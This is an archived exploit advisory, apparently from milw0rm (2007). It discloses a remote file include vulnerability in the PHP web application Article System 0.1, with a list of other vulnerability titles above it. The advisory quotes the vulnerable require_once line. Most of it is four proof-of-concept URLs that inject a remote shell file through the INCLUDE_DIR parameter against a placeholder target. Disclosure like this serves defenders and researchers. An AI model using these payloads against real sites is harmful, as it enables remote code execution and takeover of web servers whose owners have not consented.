Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Title   :  VP-ASP Shopping Cart 6.09 Remote Multiple Vulnerabilities

TLM CMS <= 1.1 (i-accueil.php chemin) Remote File Include Vulnerability

LunarPoll 1.0 (show.php PollDir) Remote File Include Vulnerability

[SA23738] Quick.Cart "p" Cross-Site Scripting Vulnerability

From:	Dr Max Virus <drmaxvirus_(at)_w.cn>
Date:	12.01.2007
Subject:	Article System 0.1 (INCLUDE_DIR) Remote File Include Vulnerabilities

#################################################################################
#######################################
#Script:Article System                                                       #
#Affected Version:1.0                                                        #
#Download:
http://kent.dl.sourceforge.net/sourceforge/artsys/artsys-0.1-20020705.tar.gz #
#################################################################################
#######################################
#Author:Dr Max Virus                                                         #
#################################################################################
#######################################
#Bug in:/[path]/include                                                      #
#Vul Code;                                                                   #
#require_once ("$INCLUDE_DIR/classes/class.form_item.php");                  #
#################################################################################
#######################################
#POC:                                                                        #
#http://[target]/[script_path]/include/forms.php?INCLUDE_DIR=shell.txt?      #
#http://[target]/[script_path]/include/issue_edit.php?INCLUDE_DIR=shell.txt? #
#http://[target]/[script_path]/include/client.php?INCLUDE_DIR=shell.txt?     #
#http://[target]/[script_path]/include/classes.php?INCLUDE_DIR=shell.txt?    #
#################################################################################
#######################################
#Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends                        #
#Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk                          #
#################################################################################
#######################################

# milw0rm.com [2007-01-11]